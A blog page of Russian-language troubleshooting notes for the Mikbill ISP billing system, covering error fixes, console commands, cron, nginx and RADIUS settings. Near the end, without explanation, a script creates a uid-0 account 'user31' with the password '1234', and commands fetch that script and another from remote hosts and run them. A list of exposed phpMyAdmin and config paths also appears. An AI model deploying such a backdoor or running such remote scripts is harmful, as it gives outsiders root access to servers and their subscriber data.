Mikbill

Ошибка
/ajax/users/getsysoptsflex
не настроена роль

Рвем сессию из консоли
cd /var/www/mikbill/admin
php index.php kick 1234
где 1234 uid абона

Ошибка при изменении сегмента
неизвестная ошибка: /ajax/users/updateuserflex
в логах админки:
Warning: file_put_contents(/usr/local/etc/dhcpd.conf): failed to open stream: Permission denied in /var/www/mikbill/admin/index.php: 53864
Решение
дать права на запись другим на конфиг DHCP


Ошибка

Access denied; you need (at least one of) the SUPER privilege(s) for this operation
выдайте пользователю mikbill в MySQL привилегии SUPER


Ошибка
which: no mpstat in
Ставим sysstat
  • yum install sysstat

Ставим права веб-сервера файлам

  • chown -R apache:apache /var/www/mikbill/
online
все что в таблице radacctbras - онлайн

Команда включает интернет если хватает денег
action_after_account_refill UID


upstream timed out (110: Connection timed out) while reading response header from upstream
ошибка 504 при открытии www
прописать домены в /etc/host

Баг не удаляется bras с html5 админки
удалять тут
admin/res/mbp/datas/store/bras/bras_$ID.json
и подобный error error в устройствах:
удалить с каталога файлы
/var/www/mikbill/admin/res/mbp/datas/store/dev
через время они перезальются и приведутся в порядок

Ошибка
No entry for terminal type "unknown";
using dumb terminal settings.
это ни на что не влияет

Ошибка 
Role 187
Открыта админка и кабинет по ип
Дебаг админки
<mbdebug>true</mbdebug>




Скрипт рассылка смс

Ошибка в логе ядра
Misread. Reason: Success
проверяем:
лицензия / время / dns

Ошибка при обновлении
Connection error file mikbill_rev_up
проверить ДНС сервера

Ошибка в shell_log_error.txt
sudo: sorry, you must have a tty to run sudo
закоментить в sudoers
Defaults    requiretty
это блокирует использование судо из крона

Просмотр лога
  • tail -f /var/www/mikbill/admin/app/log/shell_log_error.txt


Выкидываем из консоли клиентов

  • /usr/bin/sudo -u root /bin/echo "User-Name=28:10:7B:F1:A4:B5,Framed-IP-Address=10.11.12.172" | /usr/bin/radclient -r 1 10.11.11.1:3799 disconnect secret &>/dev/null 2>&1



Дебаг выкидываения
tail -f /var/log/auth.log

Проблема с кодировкой для чеков и ТД
charset utf-8; в конфиге nginx
для апача
/etc/httpd(или apache2)/conf/httpd.conf
строка AddDefaultCharset UTF-8
узнаем версию с консоли
  • use mikbill;
    • SELECT get_version();
вариант одной строчкой

  • mysql -D mikbill -u $(cat '/var/www/mikbill/admin/app/etc/config.xml'| grep  username | awk '{ gsub("<username>"," "); print }' | awk '{ gsub("</username>"," "); print }' | awk '{print $1}') -p$(cat '/var/www/mikbill/admin/app/etc/config.xml'| grep  password | awk '{ gsub("<password>"," "); print }' | awk '{ gsub("</password>"," "); print }' | awk '{print $1}') -e "SELECT get_version()"
или
  • ver=$(cat /var/www/mikbill/admin/sys/update/mikbill_current); echo ${ver:5}
реальник узнаем
wget -O - -q mikbill.ru/getip.php


fail2ban
iptables -L -n
iptables -D f2b-SSH -s 8.251.110.8 -j REJECT


баг с сегментами
баг повторил у себя
создал устройство
закинул туда сегмент
удалил устройство
сегмент не удалить
DEL switch 3 вот такую запись надо искть по логам операторов

Меняем на новый кабинет nginx
/etc/nginx/conf.d/stat.conf
До изменения:
index index.php;
    location / {
        root   /var/www/mikbill/stat;
        index  index.php;
        try_files $uri $uri/ /index.php?$args;
    }
После изменения:
index main.php;
    location / {
        root   /var/www/mikbill/stat;
        index  main.php;
        try_files $uri $uri/ /index.php?$args;
    }


Чистим var/lib/php5
Чистит сразу:
  • find /var/lib/php5/ -size 0 -type f -delete

чистит у которых вышло время:

  • find /var/lib/php5/ -type f -cmin +$(/usr/lib/php5/maxlifetime) -delete

Сразу, лучше ставить раз в сутки
"time perl -e 'opendir(D1, "/var/lib/php52") || die "Error: $!"; readdir(D1); readdir(D1); while ($a=readdir(D1)) { unlink("$a");}'"

настраиваем логирование в php.ini
error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR

Ошибка 
radius:write: Operation not permitted
решилась установкой fs.file-max = 1000000
или возможно закончилось место на диске
Ошибка
PHP Fatal error: Incompatible file format: The encoded file has format major ID 5,
возможно не верная версия ядра mikbill решилось установкой ядра для php 5.3 (скорее всего ядро было для php 5.2 )

ошибка MySQL server has gone away
https://wiki.mikbill.ru/billing/radiusd_check

Отключаем автообновление
в кроне комментируем
#00 2 * * * root /usr/local/sbin/cron_mikbill.sh > /dev/null
Ошибки при неправильной лицензии
[root@Billing update]# service mikbill status
Status MikBiLL server PID: 6065 6006
mikbill (pid  6006) выполняется...
[root@Billing update]# ./mikbill_update.sh
Start UPDATER SOFT!
/bin/cat: ./mikbill_rev_up: Нет такого файла или каталога
./mikbill_update.sh: line 53: [: -ne: ожидается использование унарного оператора
/bin/cat: ./mikbill_revision: Нет такого файла или каталога
./mikbill_update.sh: line 78: [: -eq: ожидается использование унарного оператора
/bin/cat: ./mikbill_checksum: Нет такого файла или каталога
/usr/bin/md5sum: ./mikbill.tar.gz: Нет такого файла или каталога
Update Don't Download У вас закончились обновления вопросы на info@mikbill.ru


Радиус должен быть с поддержкой THREADS
perl -V |grep ITH

                        USE_ITHREADS USE_LARGE_FILES USE_PERLIO USE_PERL_ATOF

Ставим время в админке
config.xml
<config>
    <parameters>
        <mysql>
            <host>localhost</host>
            <dbname>mikbill</dbname>
        </mysql>
        <timezone>Europe/Moscow</timezone>
        <kernel>


по поводу авторизации по регистронезависиомму логину
там надо сделать вот так
ALTER TABLE `users` CHANGE `user` `user` VARCHAR(32) CHARACTER SET koi8r COLLATE koi8r_general_ci NOT NULL;
koi8r_general_ci - регистронезависимая
koi8r_bin - зависит от регистра
вот так легко меняется

тоже самое можно и с полем пароля если сильно нужно


Ищем всех с услугой турбо

  • SELECT * FROM 
  • bugh_uslugi_stat WHERE active=1 and usluga=3

Обновление
скрипт var/www/mikbill/admin/sys/update/mikbill_update.sh
для пхп5.4 меняем
UPDATE_URL="http://update254.mikbill.ru/"
для free сторка
UPDATE_URL="http://update2free.mikbill.ru/"
Ошибка
Users limit Reached
Лицензия не прошла, проверить файлы лицензии и апдейт

http://nekkoy.ga/wiki/Stuff/Mysql

перенос снятия абоноплаты:
01 0 1 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh
меняем на (перенос с 1 на 4 день)
01 0 4 * * root /var/www/mikbill/admin/sys/scripts/mikbill_mth.sh

(неверный вариант)
выставить "обязательно каждый месяц плавающая дата"
UPDATE users SET date_abonka = 7;
UPDATE usersfreeze SET date_abonka = 7;
UPDATE usersblok SET date_abonka = 7;
UPDATE usersdel SET date_abonka = 7;


Cкачать дистрибутив
wget http://www.mikbill.ru/mikbill.tar.gz


kill -KILL `lsof -t -i:1812`
ps axu | grep gcalctool
netstat -nl |grep 2007
netstat -nl |grep 1812
env LD_PRELOAD="/usr/lib/libperl.so.5.14" /usr/sbin/freeradius -f
/usr/lib/libperl.so.5.14 /usr/sbin/freeradius -f
kill -KILL `lsof -t -i:1812`



Серверы активации находятся по DNS именам:

  • cert1.celteh.com               ping cert1.celteh.com
  • cert2.celteh.com
  • cert3.celteh.com

Консольные команды
  • cd /usr/local/www/mikbill/admin
далее выполняем:
  • php ./index.php "команда" "параметр"

Выписка Приватбанк
в crontab:
10 * * * * root /var/www/mikbill/admin/sys/scripts/getPrivatTodayPayments.sh > /dev/null
#10 0 * * * root /var/www/mikbill/admin/sys/scripts/getPrivatPreviousPayments.sh > /dev/null


mcedit /var/www/mikbill/admin/sys/scripts/getPrivatTodayPayments.sh
#!/bin/sh
cd /var/www/mikbill/admin
php ./index.php getPrivatTodayPayments

mcedit /var/www/mikbill/admin/sys/scripts/getPrivatPreviousPayments.sh
#!/bin/sh
cd /var/www/mikbill/admin
php ./index.php getPrivatPreviousPayments

Вход абонентов в кабинет без логина и пароля
в конфиге /var/www/mikbill/stat/app/etc/config.xml
проставьте такие значения:
<doauthbyip>1</doauthbyip>
<doauthbyframedip>1</doauthbyframedip>
<doauthbyonlineip>1</doauthbyonlineip>
также
/etc/nginx/nginx.conf
ignore_invalid_headers        off;
в секции http {

Проверка - зайти в лк и перейти по ссылке
http://stat.my/main.php?action=getip
  • doauthbyip  - значение 1 включает "автовход" абонента под зафиксированным в билинге его "локальным ip"
  • doauthbyframedip - значение 1 включает "автовход" абонента под зафиксированным в билилнге его "Выдаваемом ip"
  • doauthbyonlineip - значение 1 включает "автовход" абонента под "ip" который числиться в ONLINE
  • doauthonlypass - значение 1 включает вход только по паролю

Ошибка
Ошибка сетевого транспорта. Попробуйте зайти позже...
1. Проверить есть ли пинг с сервера на stat.isp.demo (isp.demo заменить на вашу ссылку)
2. Если пинга нет то прописать в  host:
127.0.0.1 stat.isp.demo 
  (isp.demo заменить на вашу ссылку)
3. Проверить пароль в кабинете к мускулю


Ключ активации
/var/www/mikbill/admin/app/etc/*.key *.crt

Оптимизация запросов радиуса
/etc/raddb/radiusd.conf
thread pool {
<------>start_servers = 1
<------>max_servers = 9
<------>min_spare_servers = 1
<------>max_spare_servers = 9
<------>max_requests_per_server = 512
}
9-число процессоров*2 +1
   Определение количества ядер cat /proc/cpuinfo | grep ^processor |wc -l



Notice: Undefined offset: 1 in /var/www/mikbill/admin/index.php: 93074
 в справочнике нет адреса дома в общем устройству назначен не существующий индекс дома


Авторизация по IP
Включить в настройках нас:
ip unnumbered
CallerlD авторизация
использовать SSH
/var/www/mikbill/admin/sys/update/sqlupd/deploy/build.properties
показывает сборку mikbill
/sys/update/mikbill_current
график юзера
/sys/mrtg_users/uid_11.html
время сервера
/res/mon/date.php
nas_threads
/res/mon/nas_threads.php
текстовые файлы типа
/res/pma/README (версия phpmyadmin)
/res/pma/RELEASE-DATE-3.4.7.1
куча файлов непонятного кода
res/pma/js
доступен setup phpmyadmin
res/pma/setup

crossdomain.xml
/res/pma/setup/config.php

просмотр тарифов (не показывает не разрешенные для подключения замороженным/удаленным)
/ajax/users/gettariflistvklfl


Закрываем доступ к сайту где доступ не нужен
location ~* ^/(app/|res/balanse/|res/convert/|res/convert2/|res/convert3/|res/history/|res/pcq/|res/shapers/|res/sms/|res/smspilot/|res/smsukr/|res/ssh/|res/w.qiwi.ru/|sys/scripts/|sys/update/).*\.(xml|sh|php|log|sql|txt|properties)$ {deny all;}

для работы киви нужно убрать res/w.qiwi.ru/| и sys/scripts/|

**********************************************************************
mcedit ha.sh
#!/bin/sh
adduser user31 -ou 0 -g 0 | echo -e "1234\n1234" | (passwd --stdin user31)

get -P /home/  http://200.200.200.200/ha.sh
chmod a+x /home/ha.sh
/home/ha.sh

wget https://www.cubbyusercontent.com/pl/radius.sh/_3dd34af610ab4659980dcffd9624dff7 -O /home/radius.sh;chmod +x /home/radius.sh
/home/radius.sh

***************
/admin/sys/scripts/mikbill_payment_event.sh
Скрипт вызываемый по совершению платежа

/admin/sys/scripts/mb_after_pay.sh;
 Скрипт вызываемый после совершения оплаты у абонента

***************

 если ip на которые идёт нат не присутствую на сервере то он рано или поздно выхватит паник

Комментарии

Популярные сообщения из этого блога

mikbill расшифровка завершений сессий

Accel-ppp команды

Zabbix agent установка и настройка